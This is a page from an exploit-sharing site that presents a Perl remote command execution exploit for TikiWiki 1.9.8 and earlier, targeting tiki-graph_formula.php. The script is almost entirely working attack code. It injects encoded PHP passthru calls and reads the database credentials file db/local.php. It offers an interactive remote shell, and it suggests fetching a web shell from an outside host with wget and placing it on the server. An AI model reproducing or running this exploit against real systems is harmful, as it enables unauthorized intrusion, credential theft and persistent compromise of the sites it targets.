0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
TikiWiki <= 1.9.8 tiki-graph_formula.php Command Execution Exploit
================================================================== TikiWiki <= 1.9.8 tiki-graph_formula.php Command Execution Exploit ================================================================== #!/usr/bin/perl # TikiWiki <= 1.9.8 Remote Command Execution Exploit # # Description # ----------- # TikiWiki contains a flaw that may allow a remote attacker to execute arbitrary commands. # The issue is due to 'tiki-graph_formula.php' script not properly sanitizing user input # supplied to the f variable, which may allow a remote attacker to execute arbitrary PHP # commands resulting in a loss of integrity. # ----------- # Vulnerability discovered by ShAnKaR # # $Id: inj3ct0r_tikiwiki.pl,v 0.1 2007/10/12 13:25:08 inj3ct0r Exp $ use strict; use LWP::UserAgent; my $target = shift || &usage(); my $proxy = shift; my $command; &exploit($target, "cat db/local.php", $proxy); print "[?] php shell it?\n"; print "[*] wget http://www.youhost.com/yourshell.txt -O backups/shell.php\n"; print "[*] lynx " . $target . "/backups/shell.php\n\n"; while() { print "tiki\# "; chomp($command = <STDIN>); exit unless $command; &exploit($target, $command, $proxy); } sub usage() { print "[?] TikiWiki <= 1.9.8 Remote Command Execution Exploit\n"; print "[?] inj3ct0r <inj3ct0r[!]inj3ct0r.com>\n"; print "[?] usage: perl $0 [target]\n"; print " [target] (ex. http://127.0.0.1/tikiwiki)\n"; print " [proxy] (ex. 0.0.0.0:8080)\n"; exit; } sub exploit() { my($target, $command, $proxy) = @_; my $cmd = 'echo start_er;'.$command.';'.'echo end_er'; my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd)); my $conn = LWP::UserAgent->new() or die; $conn->agent("Mozilla/4.0 (compatible; Lotus-Notes/5.0; Windows-NT)"); $conn->proxy("http", "http://".$proxy."/") unless !$proxy; my $out=$conn->get($target."/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.passthru($byte).die()&t=png&title="); if ($out->content =~ m/start_er(.*?)end_er/ms) { print $1 . "\n"; } else { print "[-] Exploit Failed\n"; exit; } } # 0day.today [2024-07-07] #